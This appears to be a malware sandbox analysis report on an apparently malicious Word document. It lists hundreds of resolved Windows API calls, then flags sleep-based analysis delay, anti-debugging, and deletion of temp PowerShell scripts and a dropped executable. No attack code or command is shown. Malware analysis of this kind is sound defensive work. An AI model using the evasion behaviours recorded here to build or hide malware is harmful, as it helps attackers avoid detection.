- DynamicLoader: VERSION.dll/VerQueryValue
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: ADVAPI32.dll/LookupPrivilegeValue



- DynamicLoader: ADVAPI32.dll/LookupPrivilegeValueW
- DynamicLoader: VERSION.dll/VerLanguageName
- DynamicLoader: VERSION.dll/VerLanguageNameW
- DynamicLoader: kernel32.dll/GetCurrentProcess
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
- DynamicLoader: ADVAPI32.dll/AdjustTokenPrivileges
- DynamicLoader: ADVAPI32.dll/AdjustTokenPrivilegesW
- DynamicLoader: kernel32.dll/CloseHandle
- DynamicLoader: kernel32.dll/OpenProcess
- DynamicLoader: kernel32.dll/OpenProcessW
- DynamicLoader: psapi.dll/EnumProcessModules
- DynamicLoader: psapi.dll/EnumProcessModulesW
- DynamicLoader: psapi.dll/GetModuleInformation
- DynamicLoader: psapi.dll/GetModuleInformationW
- DynamicLoader: psapi.dll/GetModuleBaseName
- DynamicLoader: psapi.dll/GetModuleBaseNameW
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: psapi.dll/GetModuleFileNameEx
- DynamicLoader: psapi.dll/GetModuleFileNameExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueEx
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueEx
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: shell32.dll/SHGetFolderPath
- DynamicLoader: shell32.dll/SHGetFolderPathW
- DynamicLoader: kernel32.dll/CreateFile
- DynamicLoader: kernel32.dll/CreateFileW
- DynamicLoader: kernel32.dll/CloseHandle
- DynamicLoader: kernel32.dll/GetFileType
- DynamicLoader: wintrust.dll/WTGetSignatureInfo
- DynamicLoader: wintrust.dll/WTGetSignatureInfoA
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: wintrust.dll/WinVerifyTrust
- DynamicLoader: wintrust.dll/WinVerifyTrustW
- DynamicLoader: wintrust.dll/WintrustCertificateTrust
- DynamicLoader: wintrust.dll/SoftpubAuthenticCode
- DynamicLoader: wintrust.dll/SoftpubInitialize
- DynamicLoader: wintrust.dll/SoftpubLoadMessage
- DynamicLoader: wintrust.dll/SoftpubLoadSignature
- DynamicLoader: wintrust.dll/SoftpubCheckCert
- DynamicLoader: wintrust.dll/SoftpubCleanup
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
- DynamicLoader: kernel32.dll/GetExitCodeProcess
- DynamicLoader: kernel32.dll/GetExitCodeProcessW
- DynamicLoader: MSISIP.DLL/DllCanUnloadNow
- DynamicLoader: MSISIP.DLL/MsiSIPIsMyTypeOfFile
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: USER32.dll/EnumWindows
- DynamicLoader: USER32.dll/EnumWindowsW
- DynamicLoader: wshext.dll/DllCanUnloadNow
- DynamicLoader: wshext.dll/IsFileSupportedName
- DynamicLoader: pwrshsip.dll/DllCanUnloadNow
- DynamicLoader: pwrshsip.dll/PsIsMyFileType
- DynamicLoader: pwrshsip.dll/PsPutSignature
- DynamicLoader: pwrshsip.dll/PsGetSignature
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValueW



- DynamicLoader: kernel32.dll/GetEnvironmentVariable
- DynamicLoader: kernel32.dll/GetEnvironmentVariableW
- DynamicLoader: wintrust.dll/WTHelperProvDataFromStateData
- DynamicLoader: wintrust.dll/WTHelperProvDataFromStateDataW
- DynamicLoader: wintrust.dll/WTHelperGetProvSignerFromChain
- DynamicLoader: wintrust.dll/WTHelperGetProvSignerFromChainW
- DynamicLoader: USER32.dll/GetWindowThreadProcessId
- DynamicLoader: USER32.dll/GetWindowThreadProcessIdW
- DynamicLoader: USER32.dll/GetWindow
- DynamicLoader: USER32.dll/IsWindowVisible
- DynamicLoader: USER32.dll/IsWindowVisibleW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: ntdll.dll/NtQuerySystemInformationW
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: kernel32.dll/WerSetFlags
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguagesW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguagesW
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleNameW
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: kernel32.dll/GetConsoleCP
- DynamicLoader: kernel32.dll/GetConsoleCPW
- DynamicLoader: kernel32.dll/CreateFile
- DynamicLoader: kernel32.dll/CreateFileW
- DynamicLoader: kernel32.dll/GetCurrentConsoleFontEx
- DynamicLoader: kernel32.dll/GetCurrentConsoleFontExW
- DynamicLoader: kernel32.dll/CreateDirectory
- DynamicLoader: kernel32.dll/CreateDirectoryW
- DynamicLoader: kernel32.dll/GetConsoleScreenBufferInfo
- DynamicLoader: kernel32.dll/GetConsoleScreenBufferInfoW
- DynamicLoader: kernel32.dll/GetConsoleMode
- DynamicLoader: kernel32.dll/GetConsoleModeW
- DynamicLoader: kernel32.dll/SetConsoleMode
- DynamicLoader: kernel32.dll/SetConsoleModeW
- DynamicLoader: kernel32.dll/GetCurrentProcess
- DynamicLoader: kernel32.dll/GetCurrentProcessW
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
- DynamicLoader: kernel32.dll/SetConsoleCtrlHandler
- DynamicLoader: kernel32.dll/SetConsoleCtrlHandlerW
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/GetTokenInformationW
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: kernel32.dll/LocalAllocW
- DynamicLoader: ADVAPI32.dll/DuplicateTokenEx
- DynamicLoader: ADVAPI32.dll/DuplicateTokenExW
- DynamicLoader: ADVAPI32.dll/CheckTokenMembership
- DynamicLoader: ADVAPI32.dll/CheckTokenMembershipW
- DynamicLoader: kernel32.dll/GetStdHandle
- DynamicLoader: kernel32.dll/GetConsoleMode
- DynamicLoader: kernel32.dll/GetConsoleTitle
- DynamicLoader: kernel32.dll/GetConsoleTitleW
- DynamicLoader: kernel32.dll/GetProcessTimes
- DynamicLoader: kernel32.dll/GetProcessTimesW
- DynamicLoader: kernel32.dll/GetDynamicTimeZoneInformation
- DynamicLoader: kernel32.dll/SetConsoleTitle
- DynamicLoader: kernel32.dll/SetConsoleTitleW
- DynamicLoader: kernel32.dll/GetFileMUIPath
- DynamicLoader: kernel32.dll/LoadLibraryEx



- DynamicLoader: kernel32.dll/LoadLibraryExW
- DynamicLoader: kernel32.dll/FreeLibrary
- DynamicLoader: kernel32.dll/FreeLibraryW
- DynamicLoader: USER32.dll/LoadStringW
- DynamicLoader: ADVAPI32.dll/CreateWellKnownSid
- DynamicLoader: kernel32.dll/CreateNamedPipe
- DynamicLoader: kernel32.dll/CreateNamedPipeW
- DynamicLoader: kernel32.dll/SetEnvironmentVariable
- DynamicLoader: kernel32.dll/SetEnvironmentVariableW
- DynamicLoader: mscoreei.dll/_CorDllMain_RetAddr
- DynamicLoader: mscoreei.dll/_CorDllMain
- DynamicLoader: mscoree.dll/GetTokenForVTableEntry
- DynamicLoader: mscoree.dll/SetTargetForVTableEntry
- DynamicLoader: mscoree.dll/GetTargetForVTableEntry
- DynamicLoader: mscoreei.dll/GetTokenForVTableEntry_RetAddr
- DynamicLoader: mscoreei.dll/GetTokenForVTableEntry
- DynamicLoader: mscoreei.dll/SetTargetForVTableEntry_RetAddr
- DynamicLoader: mscoreei.dll/SetTargetForVTableEntry
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: kernel32.dll/ExpandEnvironmentStrings
- DynamicLoader: kernel32.dll/ExpandEnvironmentStringsW
- DynamicLoader: kernel32.dll/GetTimeZoneInformation
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKey
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
- DynamicLoader: ADVAPI32.dll/RegEnumKeyEx
- DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
- DynamicLoader: secur32.dll/GetUserNameEx
- DynamicLoader: secur32.dll/GetUserNameExW
- DynamicLoader: ADVAPI32.dll/GetUserName
- DynamicLoader: ADVAPI32.dll/GetUserNameW
- DynamicLoader: kernel32.dll/EnumCalendarInfoExEx
- DynamicLoader: kernel32.dll/GetCalendarInfoEx
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/EnumTimeFormatsEx
- DynamicLoader: kernel32.dll/ReleaseMutex
- DynamicLoader: ADVAPI32.dll/RegisterEventSource
- DynamicLoader: ADVAPI32.dll/RegisterEventSourceW
- DynamicLoader: ADVAPI32.dll/DeregisterEventSource
- DynamicLoader: ADVAPI32.dll/ReportEvent
- DynamicLoader: ADVAPI32.dll/ReportEventW
- DynamicLoader: kernel32.dll/GetLogicalDrives
- DynamicLoader: kernel32.dll/GetDriveType
- DynamicLoader: kernel32.dll/GetDriveTypeW
- DynamicLoader: kernel32.dll/GetVolumeInformation
- DynamicLoader: kernel32.dll/GetVolumeInformationW
- DynamicLoader: SHLWAPI.dll/PathIsNetworkPath
- DynamicLoader: SHLWAPI.dll/PathIsNetworkPathW
- DynamicLoader: shell32.dll/
- DynamicLoader: kernel32.dll/GetFileAttributes
- DynamicLoader: kernel32.dll/GetFileAttributesW
- DynamicLoader: kernel32.dll/GetCurrentDirectory
- DynamicLoader: kernel32.dll/GetCurrentDirectoryW
- DynamicLoader: kernel32.dll/GetSystemDirectory
- DynamicLoader: kernel32.dll/GetSystemDirectoryW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/GetTempPath
- DynamicLoader: kernel32.dll/GetTempPathW
- DynamicLoader: CRYPTSP.dll/CryptGetDefaultProviderW
- DynamicLoader: CRYPTSP.dll/CryptGenRandom
- DynamicLoader: kernel32.dll/WriteFile
- DynamicLoader: ADVAPI32.dll/SaferIdentifyLevel



- DynamicLoader: ADVAPI32.dll/SaferComputeTokenFromLevel
- DynamicLoader: ADVAPI32.dll/SaferCloseLevel
- DynamicLoader: kernel32.dll/DeleteFile
- DynamicLoader: kernel32.dll/DeleteFileW
- DynamicLoader: kernel32.dll/GetSystemInfo
- DynamicLoader: kernel32.dll/QueryPerformanceFrequency
- DynamicLoader: kernel32.dll/QueryPerformanceCounter
- DynamicLoader: kernel32.dll/CreateEvent
- DynamicLoader: kernel32.dll/CreateEventW
- DynamicLoader: kernel32.dll/SetEvent
- DynamicLoader: uxtheme.dll/ThemeInitApiHook
- DynamicLoader: USER32.dll/IsProcessDPIAware
- DynamicLoader: ole32.dll/CoWaitForMultipleHandles
- DynamicLoader: kernel32.dll/SetThreadUILanguage
- DynamicLoader: kernel32.dll/SetThreadUILanguageW
- DynamicLoader: kernel32.dll/GetLastError
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: kernel32.dll/FindFirstFile
- DynamicLoader: kernel32.dll/FindFirstFileW
- DynamicLoader: kernel32.dll/FindClose
- DynamicLoader: kernel32.dll/FindNextFile
- DynamicLoader: kernel32.dll/FindNextFileW
- DynamicLoader: kernel32.dll/GetACP
- DynamicLoader: kernel32.dll/UnmapViewOfFile
- DynamicLoader: kernel32.dll/SetFilePointer
- DynamicLoader: kernel32.dll/ReadFile
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: kernel32.dll/WriteConsole
- DynamicLoader: kernel32.dll/WriteConsoleW
- DynamicLoader: kernel32.dll/GetConsoleOutputCP
- DynamicLoader: kernel32.dll/GetConsoleOutputCPW
- DynamicLoader: GDI32.dll/TranslateCharsetInfo
- DynamicLoader: GDI32.dll/TranslateCharsetInfoW
- DynamicLoader: kernel32.dll/GetModuleFileName
- DynamicLoader: kernel32.dll/GetModuleFileNameW
- DynamicLoader: kernel32.dll/GetFileAttributesEx
- DynamicLoader: kernel32.dll/GetFileAttributesExW
- DynamicLoader: kernel32.dll/GetFileSize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: rasapi32.dll/RasEnumConnections
- DynamicLoader: rasapi32.dll/RasEnumConnectionsW
- DynamicLoader: rtutils.dll/TraceRegisterExA
- DynamicLoader: rtutils.dll/TracePrintfExA
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: WS2_32.dll/WSAStartup
- DynamicLoader: WS2_32.dll/WSASocket
- DynamicLoader: WS2_32.dll/WSASocketW



- DynamicLoader: WS2_32.dll/setsockopt
- DynamicLoader: WS2_32.dll/WSAEventSelect
- DynamicLoader: WS2_32.dll/ioctlsocket
- DynamicLoader: WS2_32.dll/closesocket
- DynamicLoader: WS2_32.dll/ioctlsocket
- DynamicLoader: WS2_32.dll/WSAIoctl
- DynamicLoader: kernel32.dll/FormatMessage
- DynamicLoader: kernel32.dll/FormatMessageW
- DynamicLoader: WS2_32.dll/WSAEventSelect
- DynamicLoader: rasapi32.dll/RasConnectionNotification
- DynamicLoader: rasapi32.dll/RasConnectionNotificationW
- DynamicLoader: ADVAPI32.dll/RegOpenCurrentUser
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegNotifyChangeKeyValue
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: winhttp.dll/WinHttpOpen
- DynamicLoader: winhttp.dll/WinHttpOpenW
- DynamicLoader: winhttp.dll/WinHttpCloseHandle
- DynamicLoader: winhttp.dll/WinHttpCloseHandleW
- DynamicLoader: sechost.dll/NotifyServiceStatusChangeA
- DynamicLoader: winhttp.dll/WinHttpSetTimeouts
- DynamicLoader: winhttp.dll/WinHttpSetTimeoutsW
- DynamicLoader: winhttp.dll/WinHttpGetIEProxyConfigForCurrentUser
- DynamicLoader: kernel32.dll/ResetEvent
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: IPHLPAPI.DLL/GetNetworkParams
- DynamicLoader: DNSAPI.dll/DnsQueryConfig
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: IPHLPAPI.DLL/GetIpInterfaceEntry
- DynamicLoader: IPHLPAPI.DLL/GetBestInterfaceEx
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: WS2_32.dll/GetAddrInfoW
- DynamicLoader: WS2_32.dll/freeaddrinfo
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: WS2_32.dll/WSAConnect
- DynamicLoader: WS2_32.dll/send
- DynamicLoader: WS2_32.dll/setsockopt
- DynamicLoader: WS2_32.dll/recv
- DynamicLoader: WS2_32.dll/shutdown
- DynamicLoader: secur32.dll/EnumerateSecurityPackagesW
- DynamicLoader: secur32.dll/FreeContextBuffer
- DynamicLoader: secur32.dll/FreeCredentialsHandle
- DynamicLoader: secur32.dll/AcquireCredentialsHandleW
- DynamicLoader: schannel.DLL/SpUserModeInitialize
- DynamicLoader: ADVAPI32.dll/RegCreateKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: secur32.dll/DeleteSecurityContext
- DynamicLoader: secur32.dll/InitializeSecurityContextW
- DynamicLoader: secur32.dll/FreeContextBuffer
- DynamicLoader: ncrypt.dll/SslOpenProvider
- DynamicLoader: ncrypt.dll/GetSChannelInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: ncrypt.dll/SslIncrementProviderReferenceCount
- DynamicLoader: ncrypt.dll/SslImportKey
- DynamicLoader: bcryptprimitives.dll/GetCipherInterface



- DynamicLoader: secur32.dll/QueryContextAttributesW
- DynamicLoader: ncrypt.dll/SslLookupCipherSuiteInfo
- DynamicLoader: ncrypt.dll/SslLookupCipherLengths
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContext
- DynamicLoader: CRYPT32.dll/CertGetCertificateContextProperty
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContext
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContextW
- DynamicLoader: CRYPT32.dll/CertCloseStore
- DynamicLoader: CRYPT32.dll/CertDuplicateStore
- DynamicLoader: CRYPT32.dll/CertDuplicateStoreW
- DynamicLoader: CRYPT32.dll/CertEnumCertificatesInStore
- DynamicLoader: CRYPT32.dll/CertEnumCertificatesInStoreW
- DynamicLoader: CRYPT32.dll/CertFreeCertificateChain
- DynamicLoader: CRYPT32.dll/CertOpenStore
- DynamicLoader: CRYPT32.dll/CertOpenStoreW
- DynamicLoader: CRYPT32.dll/CertAddCertificateLinkToStore
- DynamicLoader: CRYPT32.dll/CertAddCertificateLinkToStoreW
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: CRYPT32.dll/CertGetCertificateChain
- DynamicLoader: CRYPT32.dll/CertGetCertificateChainW
- DynamicLoader: USERENV.dll/GetUserProfileDirectoryW
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: sechost.dll/ConvertStringSidToSidW
- DynamicLoader: USERENV.dll/RegisterGPNotification
- DynamicLoader: GPAPI.dll/RegisterGPNotificationInternal
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: sechost.dll/QueryServiceConfigW
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: USER32.dll/LoadStringW
- DynamicLoader: ncrypt.dll/BCryptOpenAlgorithmProvider
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: ncrypt.dll/BCryptGetProperty
- DynamicLoader: ncrypt.dll/BCryptCreateHash
- DynamicLoader: ncrypt.dll/BCryptHashData
- DynamicLoader: ncrypt.dll/BCryptFinishHash
- DynamicLoader: ncrypt.dll/BCryptDestroyHash
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptCreateHash
- DynamicLoader: CRYPTSP.dll/CryptHashData
- DynamicLoader: CRYPTSP.dll/CryptVerifySignatureA
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash
- DynamicLoader: cryptnet.dll/I_CryptNetGetConnectivity
- DynamicLoader: SensApi.dll/IsNetworkAlive
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: cryptnet.dll/CryptRetrieveObjectByUrlW
- DynamicLoader: SHLWAPI.dll/UrlGetPartW
- DynamicLoader: winhttp.dll/WinHttpOpen
- DynamicLoader: winhttp.dll/WinHttpSetTimeouts
- DynamicLoader: winhttp.dll/WinHttpSetOption
- DynamicLoader: winhttp.dll/WinHttpCrackUrl
- DynamicLoader: SHLWAPI.dll/StrCmpNW
- DynamicLoader: winhttp.dll/WinHttpConnect
- DynamicLoader: winhttp.dll/WinHttpOpenRequest
- DynamicLoader: winhttp.dll/WinHttpGetDefaultProxyConfiguration
- DynamicLoader: winhttp.dll/WinHttpGetIEProxyConfigForCurrentUser



- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: profapi.dll/
- DynamicLoader: winhttp.dll/WinHttpRequest
- DynamicLoader: WS2_32.dll/GetAddrInfoW
- DynamicLoader: WS2_32.dll/WSASocketW
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/WSAIoctl
- DynamicLoader: WS2_32.dll/FreeAddrInfoW
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/WSARecv
- DynamicLoader: WS2_32.dll/WSASend
- DynamicLoader: winhttp.dll/WinHttpRequestReceiveResponse
- DynamicLoader: winhttp.dll/WinHttpRequestQueryHeaders
- DynamicLoader: winhttp.dll/WinHttpRequestQueryDataAvailable
- DynamicLoader: WS2_32.dll/
- DynamicLoader: winhttp.dll/WinHttpRequestReadData
- DynamicLoader: WS2_32.dll/
- DynamicLoader: winhttp.dll/WinHttpRequestCloseHandle
- DynamicLoader: setupapi.dll/SetupIterateCabinetW
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceConfigA
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: RPCRT4.dll/RpcStringBindingComposeA
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingA
- DynamicLoader: RPCRT4.dll/RpcEpResolveBinding
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/RpcStringFreeA
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: CRYPTSP.dll/CryptGetKeyParam
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateChain
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateChainW
- DynamicLoader: kernel32.dll/FormatMessage
- DynamicLoader: kernel32.dll/FormatMessageW
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicy
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicyW
- DynamicLoader: kernel32.dll/SetLastError
- DynamicLoader: CRYPT32.dll/CertFreeCertificateChain
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicy
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: ncrypt.dll/SslDecrementProviderReferenceCount
- DynamicLoader: ncrypt.dll/SslFreeObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: mscoree.dll/CorExitProcess
- DynamicLoader: mscoree.dll/CorExitProcess_RetAddr
- DynamicLoader: mscoree.dll/CorExitProcess
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: RPCRT4.dll/RpcBindingFree

- DynamicLoader: clr.dll/_CorDllMain
- DynamicLoader: kernel32.dll/CreateActCtxW
- DynamicLoader: kernel32.dll/AddRefActCtx
- DynamicLoader: kernel32.dll/ReleaseActCtx
- DynamicLoader: kernel32.dll/ActivateActCtx
- DynamicLoader: kernel32.dll/DeactivateActCtx
- DynamicLoader: kernel32.dll/GetCurrentActCtx
- DynamicLoader: kernel32.dll/QueryActCtxW
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: fastprox.dll/DllGetClassObject
- DynamicLoader: fastprox.dll/DllCanUnloadNow
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: PSAPI.DLL/EnumProcesses
- DynamicLoader: PSAPI.DLL/EnumProcessModules
- DynamicLoader: PSAPI.DLL/GetModuleBaseNameW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
- DynamicLoader: USER32.dll/GetLastInputInfo
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: FastProx.dll/DllGetClassObject
- DynamicLoader: FastProx.dll/DllCanUnloadNow
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: ole32.dll/CLSIDFromString
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ole32.dll/CoGetCallContext
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: ADVAPI32.dll/EventEnabled

A process attempted to delay the analysis task.

- Process: WmiPrvSE.exe tried to sleep 480 seconds, actually delayed analysis time by 0 seconds

Guard pages use detected - possible anti-debugging.

Anomalous file deletion behavior detected (10+)

- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~DF4FD165F6E9B64917.TMP
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~DF6B6A837A477B376E.TMP
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~DFB48AF096CB02EA52.TMP
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~\$r950668980md660hf4dq6q
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{ED71F0B7-3B0A-4DB1-82C0-5294773A32B4}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Roaming\Microsoft\Templates\~\$Normal.dotm
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FDA63F1B-7092-4027-9CF8-F84B710A5DEF}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\CVR8EA9.tmp.cvr
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{FC3D0FC8-A3CB-4F6B-BA5C-8C22022038F6}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\fehvjvu1.rkj.ps1
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\ac5pbg0f.j0o.psm1
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Cab3DD5.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Tar3DD6.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\wORD\2019\Y85mi4vtd.exe

